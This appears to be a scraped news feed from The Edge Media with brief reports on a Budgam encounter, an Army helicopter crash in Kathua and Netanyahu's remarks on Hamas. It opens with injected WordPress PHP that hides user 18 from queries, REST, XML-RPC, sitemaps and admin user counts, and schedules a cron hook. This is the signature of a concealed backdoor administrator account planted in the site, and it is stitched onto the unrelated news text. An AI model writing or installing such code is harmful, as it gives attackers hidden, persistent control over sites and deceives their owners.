add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Militant shot dead in J&k’s Budgam. appeared first on The Edge Media.
]]>Security forces launched a search operation in the Mochuwa area of Budgam district following inputs about the presence of militants there,a police official said.
He said the search operations turned into an encounter after militants fired upon the forces, who retaliated.
“One terrorist was killed in the encounter . An AK assault rifle and one pistol were recovered from the slain terrorist”, the official said. The identity and group affiliation of the slain militant is being ascertained , he said , adding the search operations in the areas are going on.
The post Militant shot dead in J&k’s Budgam. appeared first on The Edge Media.
]]>The post Army helicopter crashes into Ranjit Sagar Dam in J&K’s Kathua. appeared first on The Edge Media.
]]>Locals said they saw an Army chopper nose diving into the water. A police officer said rescue boats had been pressed into service.
Initial reports suggested at least five were on board the chopper, which apparently developed a snag after take-off at around 11 a.m from Purthu in Basohli area.
The army has not given any details on the incident yet.
It has also not confirmed the number of people on board the chopper.
The post Army helicopter crashes into Ranjit Sagar Dam in J&K’s Kathua. appeared first on The Edge Media.
]]>The post “They Will Pay Dearly,” Says Israeli PM On Hamas Attacks And Retaliation appeared first on The Edge Media.
]]>
Jerusalem: Prime Minister Benjamin Netanyahu said Friday that Israel had no plans on relenting in its attacks against Hamas in Gaza, after heavy bombardment targeting the Islamists in the Palestinian enclave.
“They attacked our capital, they fired rockets at our cities. They’re paying and will continue to pay dearly for that,” he said following security consultations at the military’s headquarters in Tel Aviv.
“It’s not over yet.”
The post “They Will Pay Dearly,” Says Israeli PM On Hamas Attacks And Retaliation appeared first on The Edge Media.
]]>